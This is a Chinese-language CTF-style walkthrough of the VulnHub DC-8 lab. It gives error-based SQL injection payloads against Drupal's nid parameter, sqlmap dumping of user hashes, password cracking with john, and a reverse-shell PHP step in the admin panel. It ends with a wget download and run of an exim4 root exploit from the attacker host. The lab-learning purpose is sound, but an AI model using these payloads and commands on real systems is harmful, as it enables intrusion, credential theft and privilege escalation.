一、介绍
运行环境:Virtualbox
攻击机:kali(10.0.2.15)
靶机:DC8(10.0.2.61)
目标:获取靶机root权限和flag
靶机下载地址:https://www.vulnhub.com/entry/dc-8,367/
二、信息收集
使用nmap主机发现靶机ip:10.0.2.61

使用nmap端口扫描发现靶机开放端口:22、80
nmap -A 10.0.2.61 -p 1-65535

打开网站发现是drupal cms

使用droopescan工具探测drupal的版本为7.67
droopescan scan -u http://10.0.2.61

也可以直接访问CHANGELOG.txt文件查看版本信息:http://10.0.2.61/CHANGELOG.txt

使用命令searchsploit Drupal 7.67搜索Drupal 7.67的历史漏洞,都尝试一遍发现利用不了

查看网站发现?nid=1字段,可以试试是否存在sql注入漏洞
http://10.0.2.61/?nid=1

直接输入反斜杠,出现数据库报错信息,存在sql注入

三、漏洞利用
可以尝试报错注入
获取数据库名:
http://10.0.2.61/?nid=1111 and updatexml(1,concat(0x7e,(database()),0x7e),1)

获取表名:
http://10.0.2.61/?nid=1111 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)
发现进行报错注入时,会出现由于数据的数量过多导致无法一次性显示所有内容

可以使用mid函数获取完整的数据,MID 函数用于从文本字段中提取字符。
mid函数,第一个参数是要提取的表名,第二个参数为起始位置,第三个参数为返回的字符个数
获取表名:
http://10.0.2.61/?nid=1111 and updatexml(1,concat(0x7e,mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)
由于这个库的表太多了,我直接使用sqlmap跑了,发现users表
sqlmap -u http://10.0.2.61/?nid=1 -D d7db --tables

获取users表的内容
sqlmap -u http://10.0.2.61/?nid=1 -D d7db -T users --dump

发现两组用户名密码,其中密码被加密了
admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
将两个密码字段复制到文件passwd.txt,使用john工具暴力破解密码,得到:john:turtle
john --wordlist=/usr/share/wordlists/rockyou.txt passwd.txt

使用爆破得到的用户名密码登录网站

登录后查看网站后台各个功能点,发现可以执行php代码的地方

直接在里面添加反弹shell的php代码并保存

在首页联系我们处添加数据,点击提交即可执行反弹shell的php代码,反弹shell


获取交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'

四、提权
执行命令find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件,发现/usr/sbin/exim4

查看一下exim4的版本exim4 --version,为4.89

使用searchsploit搜索exim的历史漏洞,看看也没有可利用的
searchsploit exim

发现应该符合版本的本地提权漏洞,将该漏洞的exp下载下来,上传到靶机执行
主机执行:
searchsploit -m linux/local/46996.sh
mv 46996.sh /var/www/html/46996.sh
service apache2 start
靶机执行:
cd /tmp
wget http://10.0.2.15/46996.sh
chmod 777 46996.sh
./46996.sh -m netcat


查看flag



















